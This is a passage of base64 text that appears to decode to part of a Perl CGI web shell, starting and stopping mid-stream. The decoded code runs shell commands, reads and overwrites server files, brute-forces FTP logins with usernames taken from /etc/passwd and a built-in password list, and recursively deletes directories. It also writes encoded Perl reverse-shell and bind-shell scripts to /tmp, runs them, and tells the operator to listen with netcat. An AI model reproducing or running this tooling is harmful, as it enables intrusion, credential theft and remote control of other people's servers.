oJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl